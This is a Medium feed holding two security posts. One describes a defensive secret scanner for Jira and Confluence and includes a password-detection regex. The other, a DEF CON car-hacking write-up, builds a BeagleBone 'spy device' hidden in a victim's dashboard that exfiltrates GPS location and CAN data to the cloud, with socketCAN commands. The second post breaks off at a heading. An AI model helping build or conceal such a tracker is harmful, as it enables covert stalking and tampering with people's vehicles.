<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Marcelo Sacchetin on Medium]]></title>
        <description><![CDATA[Stories by Marcelo Sacchetin on Medium]]></description>
        <link>https://medium.com/@marcelosacchetin?source=rss-2dd23d91a5f6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*_r3RZeoqOxQ49eFD81Bkkg.png</url>
            <title>Stories by Marcelo Sacchetin on Medium</title>
            <link>https://medium.com/@marcelosacchetin?source=rss-2dd23d91a5f6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 17:53:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@marcelosacchetin/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Secret Scanner for Jira and Confluence: CVE-2023–22515 Defense in Depth]]></title>
            <link>https://medium.com/spark1-us/secret-scanner-for-jira-and-confluence-cve-2023-22515-defense-in-depth-ce30f10a7661?source=rss-2dd23d91a5f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce30f10a7661</guid>
            <category><![CDATA[jira-software]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[leak-detection]]></category>
            <category><![CDATA[confluence]]></category>
            <dc:creator><![CDATA[Marcelo Sacchetin]]></dc:creator>
            <pubDate>Mon, 30 Oct 2023 00:54:08 GMT</pubDate>
            <atom:updated>2024-07-23T20:25:51.353Z</atom:updated>
            <content:encoded><![CDATA[<p>TLDR; Upgrade Confluence to a <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html">patched version</a> and employ the open-source security scanner <a href="https://github.com/spark1security/n0s1">n0s1</a> to proactively address potential secret leaks.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fd0RSJsJB1bU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dd0RSJsJB1bU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fd0RSJsJB1bU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6bec744ab4ca2b18b12ed1328affcb07/href">https://medium.com/media/6bec744ab4ca2b18b12ed1328affcb07/href</a></iframe><h3>Why do I need a secret scanner?</h3><p>It is a widely recognized best practice for Product Security Engineers to conduct scans of the software codebase in search of potential inadvertent secret leaks. Developers may find themselves working on a new feature that requires integration with AWS and might, initially for convenience during testing, hardcode the AWS access key. This practice is acceptable for local testing, with the intention of removing the secret prior to pushing the final code to Source Code Management (e.g., GitHub, GitLab, etc.).</p><p>However, it is not unusual for individuals to forget to remove the sensitive data before committing changes, resulting in sensitive data being inadvertently exposed within the source code. Consequently, anyone with read access to the repository gains access to the AWS resources associated with the exposed AWS access key in our example.</p><p>That is a very common mistake, and well-established Product Security Programs often implement controls, such as <a href="https://github.com/awslabs/git-secrets/blob/master/.pre-commit-hooks.yaml">pre-commit hooks</a>, or secret scanning tools like <a href="https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning">GitHub Secret Scanning</a> or <a href="https://docs.gitlab.com/ee/user/application_security/secret_detection">GitLab Secret Detection</a>, to mitigate the risk of secret leaks.</p><p>In this article, I aim to address a frequently overlooked but similar use case: the inadvertent exposure of secrets within platforms like <a href="https://www.atlassian.com/software/jira">Jira</a>, <a href="https://www.atlassian.com/software/confluence">Confluence</a>, <a href="https://asana.com/">Asana</a>, <a href="https://www.wrike.com/">Wrike</a>, <a href="https://linear.app/">Linear.app</a> and <a href="https://slack.com/">Slack</a>.</p><figure><img alt="Confluence page with an AWS access key that has been exposed and a red arrow highlighting it" src="https://cdn-images-1.medium.com/max/1024/1*6GBSkQqXoy7tbWWnP_SPqg.png" /><figcaption>Confluence page exposing AWS access key</figcaption></figure><p>Development teams commonly employ tools like Jira, Asana or Wrike for ticketing, Slack for intra company communication and knowledge base platforms such as Confluence to facilitate their software development life cycle (SDLC) processes. Even before a developer writes their initial code, including for instance, an API call to AWS, it’s quite likely that there is already a Jira ticket assigned to that developer, specifying which AWS account to utilize. On top of that, there might be a software documentation page on Confluence outlining the software’s cloud integration. Unfortunately, at times, individuals may inadvertently post sensitive data (such as AWS credentials) on a platform that isn’t suitable for securely storing secrets, like Jira or Confluence.</p><h4>Why should I scan Jira/Confluence for secrets?</h4><p>Some people may contend that the consequences of a secret leak within a platform like Confluence are not as significant as a leak within the source code. After all, source code is intended for building and public distribution, while Confluence and Jira implement access controls to restrict access to authorized personnel. I firmly disagree with this perspective, and to illustrate my point, we can examine the disclosure of <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html">CVE-2023–22515</a>.</p><figure><img alt="Atlassian security article page about the CVE-2023–22515" src="https://cdn-images-1.medium.com/max/1024/1*fEu4ceCFaOwW76hJvXlvbQ.png" /><figcaption>CVE-2023–2215 Confluence unauthorized administrator access</figcaption></figure><p>In the event of full exploitation, the CVE-2023–22515 vulnerability could potentially grant external attackers unauthorized administrative access to Confluence Data Center or Confluence Server. Both the <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html">vendor (Atlassian)</a> and the <a href="https://www.securityweek.com/us-gov-expects-widespread-exploitation-of-atlassian-confluence-vulnerability/">US government</a> have issued warnings regarding active exploitation of this vulnerability by nation-state actors. Companies that previously relied on the assumption that Confluence data would only be accessible to authorized users are now confronted with a situation in which they must not only be concerned about attackers attempting to use Confluence as a pivot to access their internal infrastructure but also gaining access to all of their confidential content within Confluence. If attackers can locate secrets within Confluence, as exemplified by our AWS key scenario, we just made their pivoting goal incredibly easy to accomplish.</p><p>That’s why it’s considered a sound security practice to exclusively permit the sharing of secrets through approved secret management software (e.g., Vault, 1Password, etc.), and additionally, to employ a secret scanner to proactively monitor the exposure of secrets on unapproved platforms.</p><h4>What is a secret scanner?</h4><p>Secret scanning involves inspecting code repositories and other data sources to uncover sensitive information, including passwords, access keys, and personally identifiable information (PII). This procedure can be carried out using a range of tools and methods, such as the use of regular expressions to identify patterns associated with specific types of sensitive data.</p><h4>What is n0s1 secret scanner?</h4><p><a href="https://github.com/spark1security/n0s1">n0s1</a> is an open-source secret scanner designed by <a href="https://spark1.us/">Spark 1 Security</a> for use with Slack, Jira, Confluence, Asana, Wrike, and Linear.app. It can be executed as a command-line interface (CLI), within a Docker container, as part of GitHub Actions, or integrated into GitLab CI.</p><figure><img alt="A bash terminal running n0s1 secret scanner that is flagging an AWS access token exposed in Jira. n0s1 icon on the bottom left corner" src="https://cdn-images-1.medium.com/max/1024/1*ODas2Af8patlLnK5V63yuQ.png" /></figure><p>n0s1 employs predefined and customizable regular expressions to identify a wide range of secret classes that you wish to monitor. Its versatility enables it to address various use cases, which we will explore in the following sections.</p><h4>n0s1 install:</h4><p>Simply install it via pip and use <em>“-h”</em> to get help. More details at <a href="https://spark1.us/n0s1">n0s1 documentation page</a>:</p><pre>python -m ensurepip --upgrade<br>python -m pip install n0s1<br>n0s1 confluence_scan -h</pre><h4>Scan Jira from CLI:</h4><p>Simply install it via pip and scan your Jira server:</p><pre>n0s1 jira_scan --server &quot;https://&lt;YOUR_JIRA_SERVER&gt;.atlassian.net&quot; --api-key &quot;&lt;YOUR_JIRA_API_TOKEN&gt;&quot;</pre><h4>Scan Jira and Confluence from GitLab CI:</h4><p>The advantage of integrating with GitHub and GitLab is the ability to centralize all the findings within a unified platform. If you are already scanning for secrets in your codebase and keeping track of these findings in the GitHub Security tab or the GitLab Vulnerability Report, it makes sense to also have the results from the secret scanner sent to the same location. This streamlines the management of security information and enhances overall visibility.</p><figure><img alt="GitLab Vulnerability report displaying 2 potential AWS access keys exposed on Confluence and Jira that were identified by n0s1 secret scanner" src="https://cdn-images-1.medium.com/max/1024/1*o4eynneei8dR5nWfMKkr8A.png" /><figcaption>n0s1 findings as part of GitLab Vulnerability report</figcaption></figure><p>To create a GitLab Vulnerability report akin to the one displayed in the screenshot, you can achieve this by incorporating the following configuration into your <em>.gitlab-ci.yml</em> file.</p><pre>jira-scan:<br>  stage: test<br>  image:<br>    name: spark1security/n0s1<br>    entrypoint: [&quot;&quot;]<br>  script:<br>    - n0s1 jira_scan --email &quot;&lt;EMAIL&gt;&quot; --api-key $JIRA_TOKEN --server &quot;https://&lt;YOUR_DOMAIN&gt;.atlassian.net&quot; --report-file gl-dast-report.json --report-format gitlab<br>    - apt-get update<br>    - apt-get -y install jq<br>    - cat gl-dast-report.json | jq<br>  artifacts:<br>    reports:<br>      dast:<br>        - gl-dast-report.json<br><br>confluence-scan:<br>  stage: test<br>  image:<br>    name: spark1security/n0s1<br>    entrypoint: [&quot;&quot;]<br>  script:<br>    - n0s1 confluence_scan --email &quot;&lt;EMAIL&gt;&quot; --api-key $JIRA_TOKEN --server &quot;https://&lt;YOUR_DOMAIN&gt;.atlassian.net&quot; --report-file gl-dast-report.json --report-format gitlab<br>    - apt-get update<br>    - apt-get -y install jq<br>    - cat gl-dast-report.json | jq<br>  artifacts:<br>    reports:<br>      dast:<br>        - gl-dast-report.json</pre><p><strong>*Note:</strong> you will also need to add protected <a href="https://support.atlassian.com/atlassian-account/docs/manage-api-tokens-for-your-atlassian-account/">JIRA_TOKEN</a> CI/CD variable to your GitLab repository CI/CD settings.</p><h4>Scan Jira using GitHub Actions:</h4><p>Additionally, you have the option to use GitHub Actions for running a secret scan and exporting the results into a <a href="https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning">SARIF</a> report. If you’re utilizing GitHub Enterprise, your report will also be accessible through the <a href="https://docs.github.com/en/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page#viewing-the-tool-status-page-for-a-repository">Security scanning</a> tab, providing a comprehensive view of your security assessment.</p><pre>name: jira_secret_scanning<br>on:<br>  schedule:<br>    - cron: &quot;0 10 *  *  *&quot;<br>  workflow_dispatch:<br>    <br>jobs:<br>  jira_secret_scanning:<br>    name: Jira Scanning for Secret Leaks<br>    runs-on: ubuntu-20.04<br>    steps:<br>      - name: Run n0s1 secret scanner on Jira<br>        uses: spark1security/n0s1-action@main<br>        env:<br>          JIRA_TOKEN: ${{ secrets.JIRA_API_TOKEN }}<br>        with:<br>          scan-target: &#39;jira_scan&#39;<br>          user-email: &#39;service_account@&lt;YOUR_COMPANY&gt;.atlassian.net&#39;<br>          platform-url: &#39;https://&lt;YOUR_COMPANY&gt;.atlassian.net&#39;<br>          report-file: &#39;jira_leaked_secrets.sarif&#39;<br>          report-format: &#39;sarif&#39;<br>      - name: Upload n0s1 secret scan results to GitHub Security Codescanning<br>        uses: github/codeql-action/upload-sarif@v2<br>        with:<br>          sarif_file: jira_leaked_secrets.sarif<br>      - name: Upload n0s1 secret scan report<br>        uses: actions/upload-artifact@v3<br>        with:<br>          name: n0s1-artifact<br>          path: jira_leaked_secrets.sarif<br>          retention-days: 5</pre><h4>Scan Confluence using customized regular expressions:</h4><p>You can further customize the regex configuration to target specific sensitive data that aligns with your requirements. For instance, if you wish to identify any occurrences of the string “password = “ or “password:”, you can achieve this by creating a local copy of the <a href="https://github.com/spark1security/n0s1/blob/main/src/n0s1/config/regex.toml">regex.toml</a> file and appending the following regular expression to it:</p><pre>[[rules]]<br>id = &quot;plaintext_password&quot;<br>description = &quot;Plaintext Password&quot;<br>regex = &#39;&#39;&#39;(?i)password ?[=:] ?.*&#39;&#39;&#39;<br>keywords = [&quot;password&quot;]</pre><p>You can save your new regex configuration to a local file (e.g. <em>/home/user/my_regex.toml</em>) and use it with the argument “<em>--regex-file”</em>:</p><pre>n0s1 confluence_scan --regex-file /home/user/my_regex.toml --email &lt;YOUR_EMAIL&gt; --api-key &lt;YOUR_CONFLUENCE_API_TOKEN&gt; --server https://&lt;YOUR_CONFLUENCE&gt;.atlassian.net</pre><p>If you are using docker, you will need to mount a volume to pass the local file to the container:</p><pre>docker run -v /home/user/my_regex.toml:/my_regex.toml spark1security/n0s1 confluence_scan --email &lt;YOUR_EMAIL&gt; --api-key &lt;YOUR_CONFLUENCE_API_TOKEN&gt; --server https://&lt;YOUR_CONFLUENCE&gt;.atlassian.net--regex-file /my_regex.toml</pre><h4>Scan Confluence and automatically warn users about secret leaks:</h4><p>A particularly valuable feature, especially for organizations with extensive Jira/Confluence usage, is the ability to leave a comment on the specific ticket or page where the leak has been discovered. The posted message serves as a warning to the user regarding the potential secret exposure and offers guidance on how to remediate it effectively.</p><pre>n0s1 confluence_scan --post-comment --server &quot;https://&lt;YOUR_SERVER&gt;.atlassian.net&quot; --api-key &quot;&lt;YOUR_API_TOKEN&gt;&quot;</pre><p>This approach resonates with the concept that security is a collective responsibility within an organization, while also simplifying the scalability of secret monitoring. Although the security team will maintain a centralized report with all the findings, it also empowers the ticket owner to become informed about the issue and take steps to address the secret exposure on their own.</p><figure><img alt="Confluence page with an auto message posted by n0s1 secret scanner warning the owners about a potential exposed AWS access key" src="https://cdn-images-1.medium.com/max/1024/1*Ja5-fC9Qc-fbp4AzpnB84g.png" /><figcaption>n0s1 scanner auto message posted to the page where a leak was found</figcaption></figure><p>There are various other applications for n0s1. In this article, my primary emphasis was on the blue team’s perspective regarding the secret scanner. Nevertheless, pentesters can also make effective use of it to illustrate scenarios, such as demonstrating the potential impact of CVE-2023–22515 exploitation, even when administrative access is not attainable. The capacity to discover valuable sensitive information might be all that the red team requires to execute privilege escalation and/or pivot within the system.</p><p>As n0s1 is an open-source project, you’re welcome to either fork the project or contribute to the <a href="https://github.com/spark1security/n0s1">original repository</a>. A collaborative endeavor involving the open-source community could significantly enhance the scanner’s capabilities, extending its support to cover additional platforms beyond the current ones (Slack, Jira, Confluence, Asana, Wrike, Linear.app). This collective effort can also result in the development of a comprehensive set of regular expressions that effectively identify a broad range of secrets that require protection worldwide.</p><blockquote>Did you find this article intriguing? Please feel free to share your comments and feedback regarding the post. If you want to learn more about n0s1 security scanner or any other insightful content by Spark 1 Security, please visit <a href="https://spark1.us/">spark1.us</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce30f10a7661" width="1" height="1" alt=""><hr><p><a href="https://medium.com/spark1-us/secret-scanner-for-jira-and-confluence-cve-2023-22515-defense-in-depth-ce30f10a7661">Secret Scanner for Jira and Confluence: CVE-2023–22515 Defense in Depth</a> was originally published in <a href="https://medium.com/spark1-us">Spark 1 Cybersecurity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Car Hacking with Python — Part 1 Data Exfiltration: GPS and OBDII/CAN Bus]]></title>
            <link>https://medium.com/spark1-us/car-hacking-with-python-part-1-data-exfiltration-gps-and-obdii-can-bus-69bc6b101fd1?source=rss-2dd23d91a5f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/69bc6b101fd1</guid>
            <category><![CDATA[can-bus]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[gps-tracking-device]]></category>
            <category><![CDATA[beaglebone]]></category>
            <category><![CDATA[car-hacking]]></category>
            <dc:creator><![CDATA[Marcelo Sacchetin]]></dc:creator>
            <pubDate>Mon, 18 May 2020 19:23:47 GMT</pubDate>
            <atom:updated>2023-06-11T22:12:18.824Z</atom:updated>
            <content:encoded><![CDATA[<h3>Car Hacking with Python — Part 1 Data Exfiltration: GPS and OBDII/CAN Bus</h3><p>This article is the base for my <a href="https://www.carhackingvillage.com/defcon28-talks">presentation at DEF CON 28 Car Hacking Village</a>. I introduce a Python based device for sending and receiving CAN messages from the OBDII port; and also getting live GPS coordinates from a moving vehicle. All the CAN and GPS data is exfiltrated to the cloud so the car can be monitored remotely via a web browser. This write-up summarizes a research about car hacking using open source software and <a href="https://beagleboard.org/blue">hardware</a> developed at <a href="https://spark1.us/">Spark 1 Cybersecurity Solutions</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RNtEiOL8Yk3dxhL5-y2uvg.png" /><figcaption>ChupaCarBrah spy device</figcaption></figure><p>I created a separate <a href="https://www.hackster.io/sacchet/chupacarbrah-car-hacking-with-beaglebone-and-python-18f137">step-by-step tutorial on how to build the spy device</a>, a.k.a. ChupaCarBrah that I will be using for this article. I also share all the code for the python-can client that runs on the device; and the server side Flask application that runs on AWS. This first version of the spy device is capable of tracking vehicle location and monitoring CAN data (e.g. engine RPM, air temperature, VIN, etc). All data is exfiltrated via a cellular LTE modem added to the Beaglebone. JSON format is used to send the data to the Flask application on AWS. As the vehicle moves, the JSON data on the cloud gets updated live, allowing you to monitor your vehicle completely remote. That is car hacking from the comfort of your home.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7DfXmD9MddE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7DfXmD9MddE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7DfXmD9MddE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fb8ce6547b8aaceb80ee1cf221e21e21/href">https://medium.com/media/fb8ce6547b8aaceb80ee1cf221e21e21/href</a></iframe><p>As a follow-up to this write-up, I plan to publish two more articles to extend the current ChupaCarBrah capability:</p><p><strong>Part 2 — ECU CAN messages:</strong> Will show how to tamper CAN buses that connect directly to an ECU (since the OBDII usually provides only diagnosis data). I will focus on reverse engineering the CAN messages to send crafted commands to the ECU. For safety reasons I plan to cover only harmless commands, such as unlock doors, open power windows, etc;</p><p><strong>Part 3 — Vehicle RCE:</strong> I plan to extend the ChupaCarBrah application to display all data being exfiltrated on the fly in a more user friendly format such as GPS data plotted on a map. The GUI with live data will also display current vehicle information (speed, RPM, etc) from the decoded CAN messages. I plan to also extend the AWS service with POST endpoints which will allow CAN commands to be submitted to the vehicle by creating a reverse HTTP session via cellular network.</p><h3>Threat Modeling</h3><p>In general, car manufacturers adopt a threat model based on reducing the attack surface on the vehicle by creating a separation between the CAN bus and external networks. The separation can be physical (air gaps) or logical (CAN gateways/firewalls). Gateways are common when CAN and external networks do need to be connected (e.g. <a href="https://en.wikipedia.org/wiki/Vehicular_communication_systems">V2V</a> or <a href="https://en.wikipedia.org/wiki/In-car_entertainment">IVI</a>). The gateways provide logical separation by forwarding CAN messages in one way direction only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sgtadmC1UfN3g-x_cjgkQA.png" /><figcaption>Bridging the air gap with ChupaCarBrah</figcaption></figure><p>The security level for adopting that threat model will be directly proportional on how hard it is to get physical access to the CAN bus, and/or how difficult it is to exploit vulnerabilities on external connections to pivot into the CAN bus. The goal of this article is to challenge it and show in practical terms what could be done if an attacker gets physical access to a vehicle and installs the ChupaCarbrah. The spy device creates a bridge between the isolated CAN buses and the internet, breaking the manufacturer’s threat model.</p><p>However, for a complete pen-testing engagement using ChupaCarBrah, you would still need to combine what I show here with other attack techniques such as <a href="https://www.wired.com/2017/04/just-pair-11-radio-gadgets-can-steal-car/">key spoofing</a> to get access to the interior of the vehicle. Because of that, I consider the security risk exposed by this article as low. But I still want to bring awareness for the importance of considering <a href="https://ieeexplore.ieee.org/document/7934878">encryption solutions for CAN messages</a> by manufacturers; and awareness for car owners on situations where they do not have complete control over the physical access to the vehicle (e.g. valet parking, car wash, forgetting doors unlocked, etc).</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fbo04J5m1si0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dbo04J5m1si0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fbo04J5m1si0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3b016210cc81eafe954b4bd11940ab4d/href">https://medium.com/media/3b016210cc81eafe954b4bd11940ab4d/href</a></iframe><p>Once inside the vehicle, an attacker can quickly connect the ChupaCarBrah to the OBDII port. The device is small enough allowing it to be hidden inside the dashboard. The OBDII splitter cable used will provide an extra female OBDII connector in front of the vehicle original one. If the attacker is nasty enough, he/she may use glue to permanently fix the splitter to the OBDII port. It would allow the victim to eventually connect other OBDII devices to the vehicle without, hopefully, noticing the rouge ChupaCarBrah device.</p><h3>Car Hacking Overview</h3><p>Car hacking with CAN (<a href="https://en.wikipedia.org/wiki/CAN_bus">Controller Area Network</a>) has been already very well covered by several authors. If you want to understand better how CAN bus is used by the automotive vendors to control the engine and other components of your vehicle, I recommend taking a look at the <a href="http://opengarages.org/handbook/ebook/">THE CAR HACKER’S HANDBOOK by Craig Smith</a>.</p><p>I also recommend this very good article: <a href="https://www.instructables.com/id/How-to-Hack-and-Upgrade-Your-Car-Using-CAN-Bus/">How to Hack and Upgrade Your Car, Using CAN Bus by Jared Reabow</a>. It focus specifically on CAN and it provides very useful hints such as how to guess the baud rate and how to find and tap into the CAN bus wires in your vehicle.</p><p>This write-up combines the hacking techniques presented by those two authors. Then, I go one extra step by building a simple BeagleBone spy device to interact with moving car remotely via cellular network at the same time it tracks the vehicle location via GPS.</p><h3>Why BeagleBone Blue?</h3><p>Long story short: the BeagleBone Blue already supports CAN, including a CAN transceiver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZkOl5HD_UqaKGZxmUxxgw.png" /><figcaption>BeagleBone Blue embedded CAN transceiver</figcaption></figure><p>It means, that you don’t need extra capes or hats for your board. You can basically use two hook-up wires and connect the CAN Hi and CAN Lo pins of your BeagleBone, directly to the Pins 6 and 14 respectively on the OBDII connector on your car. Not only that, BeagleBone is a complete single board computer, with the <a href="https://beagleboard.org/latest-images">latest image</a> already including <a href="https://en.wikipedia.org/wiki/SocketCAN">SocketCan</a> preinstalled.</p><p>It also has an embedded WiFi network card, which allows you to work with the CAN tools without having your computer physically connected to your car. It will allow you to “embed” the device to the car and leave it running completely detached from your computer.</p><p>For long distance connection, you can use an USB LTE modem (which will be covered on the next sections).</p><p>So, the BeagleBone Blue board is a very good option for car hacking, specially when other popular tools such as <a href="https://linklayer.github.io/cantact/">CANtact</a> are sold out on almost all US distributors. If do not want to use open source, you can try commercial products such as <a href="https://docs.macchina.cc/p1-docs">Macchina.cc</a> (I haven’t tried it myself, but since it is also based on the <a href="https://beagleboard.org/">BeagleBoard</a>, I believe most of what I cover here will still apply).</p><h3>Building the ChupaCarBrah</h3><p>The minimum parts you are going to need is a <a href="https://www.amazon.com/seeed-studio-SeeedStudio-BeagleBone-Blue/dp/B07Q22TVLQ/ref=pd_rhf_ee_p_img_1?_encoding=UTF8&amp;psc=1&amp;refRID=AC7G5546KT07GDR3KGCR">BeagleBone Blue</a>, a <a href="https://www.seeedstudio.com/Grove-Universal-4-Pin-to-Beagleboner-Blue-4-Pin-Female-JST-SH-Conversion-Cable-10-pcs-pack.html">JST/SH connector</a>, and hook-up wires. They should be connected as shown bellow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZcqBqMApZ31kvuTvrikCtw.png" /><figcaption>BeagleBone Blue JST/SH connector with hook-up wires connected to CAN slot</figcaption></figure><p>Make sure your hook-up wires are long enough so you can properly connect them to your car’s OBDII connector. Keep in mind that if you make your wires too long, you may need to twist the yellow and green (CAN Hi and Lo) to get closer to the properties of a standard CAN cable. Or of course, you can always use a real <a href="https://www.waytekwire.com/item/CB23-00070/Champlain-Cable-23-00070-EXRAD-Can-Bus/">CAN cable</a> instead of hook-up wires.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgTU0afiEdDa4Ah-X53__g.png" /><figcaption>BeagleBone Blue connected to OBDII</figcaption></figure><p>This will allow you to boot your BeagleBone, start a socket CAN interface to send and receive CAN messages. That’s all you need to start hacking CAN, however, with a few more extras parts, you can significantly increase the capability of your BeagleBone to create a full ChupaCarBrah spy device. I have put all the step-by-step instructions to build your ChupaCarbrah in a <a href="https://www.hackster.io/sacchet/chupacarbrah-car-hacking-with-beaglebone-and-python-18f137">separate article</a> so I could keep this write-up concise and focus on the hacking with Python.</p><p>Please, refer to <a href="https://www.hackster.io/sacchet/chupacarbrah-car-hacking-with-beaglebone-and-python-18f137">ChupaCarBrah — Car Hacking with BeagleBone and Python</a> on Hackster.io for full details on how to create your full blown spy device with support to GPS and cellular network.</p><h3>Sending and receiving CAN message</h3><p>After connecting your BeagleBone to the OBDII, press the power button to boot it, and then connect to it via SSH. I recommend <a href="https://github.com/beagleboard/beaglebone-blue/wiki/Frequently-Asked-Questions-(FAQ)#What_is_the_name_of_the_access_point_SSID_and_password_default_on_BeagleBone_Blue">using WiFi</a> whenever is possible. It is faster, and you will save some money on your cellular data plan. You will need to turn the ignition on so your car’s CAN devices also “boot”. You may want to start the engine to prevent killing your car’s battery.</p><p>Before using the Python code, try to manually send and receive some messages using socketCAN. First, set the baud rate for your can0 (can zero) interface and enabled it.</p><blockquote>sudo ip link set can0 up type can bitrate 500000<br>sudo ifconfig can0 up</blockquote><p>Most cars use 500kpbs on the OBDII bus. Use candump to listen to messages on the can0 interface</p><blockquote>sudo candump can0</blockquote><p>Depending on your vehicle, you may already see CAN messages on the bus. If your bus is quiet, open a new terminal and use cansend to send some messages:</p><blockquote>sudo cansend can0 7DF#0209020000000000</blockquote><p>You should see the message and the response for it on the terminal running candump. If not, you may need to check your wiring and/or the baud rate used by your vehicle. The CAN message you just sent will request the vehicle VIN number, and the response should be something similar to the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*wiJobCL6NyrtmnjjOYdWDQ.png" /><figcaption>CAN messages for retrieving the vehicle VIN</figcaption></figure><p>The VIN number data is shown in the last 3 digits “32 43 34” which can be decoded from hex to ASCII as “2C4”:</p><blockquote>echo “32 43 34” | xxd -r -p</blockquote><p>The VIN data format is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*dIKxFzCCqf9QRXOBx5ZvGA.jpeg" /><figcaption>VIN data format</figcaption></figure><p>If you provide your ASCII VIN to this <a href="https://vpic.nhtsa.dot.gov/decoder/Decoder">online NHTSA tool</a>, you can parse your vehicle WMI (World Manufacturer Identifier) and check its accuracy. In my case, “2C4” tells my car is a Dodge passenger vehicle built in Canada.</p><p>Now that you confirmed you can send and receive CAN messages to and from the car using socketCAN, you can use Python to do it programmatically:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/56f1dbe305d0c304f71e89e31c8919c0/href">https://medium.com/media/56f1dbe305d0c304f71e89e31c8919c0/href</a></iframe><p>If you want to try different commands, refer to <a href="https://github.com/blupants/chupacarbrah/blob/master/obd2_std_PIDs_enabled.csv">this table</a> with a list of available OBDII PIDs you can use. Make sure to assign the integer value of the “Mode (hex)” to variable “service_int” and the integer value of “PID (hex)” variable “pid_int” on the Python script.</p><p>For instance, if you want to read the engine RPM, change lines 5 and 6 of the script with the following:</p><blockquote>service_int = int(“1”, 16)</blockquote><blockquote>pid_int = int(“0C”, 16)</blockquote><p>You can find more documentation about the <a href="https://en.wikipedia.org/wiki/OBD-II_PIDs">OBDII PIDs here</a>.</p><h3>GPS Coordinates</h3><p>To get the GPS data, simply run “tio” command from your ChupaCarBrah device.</p><blockquote>tio /dev/ttyO2 -b 4800</blockquote><p>It will display a lot of <a href="http://aprs.gids.nl/nmea/">GPS NMEA sentences</a>, but for the geolocation purposes you will be interested in the GPRMC sentences only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30-2khXudpQaD0eZYK2Xiw.png" /><figcaption>GPS data from ChupaCarBrah</figcaption></figure><p>You can decode the geolocation sentences by copying a GPRMC sentence (e.g. <strong>$GPRMC,170454.000,A,3500.87097,N,10641.14163,W,0.00,171.40,100520,,,A*79</strong>) to this <a href="https://rl.se/gprmc">online GPRMC tool</a> and it will plot your exact location on a map.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FCnoI6kNy5ddLnNLudhYQ.png" /><figcaption>GPS GPRMC geolocation plotted on map. Chicken lunch with Heisenberg</figcaption></figure><p>You can retrieve GPS geolocation GPRMC data programmatically by using the following Python script:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e23d102f80af720ca60c3948f7b18ab8/href">https://medium.com/media/e23d102f80af720ca60c3948f7b18ab8/href</a></iframe><h3>Connecting to Cellular 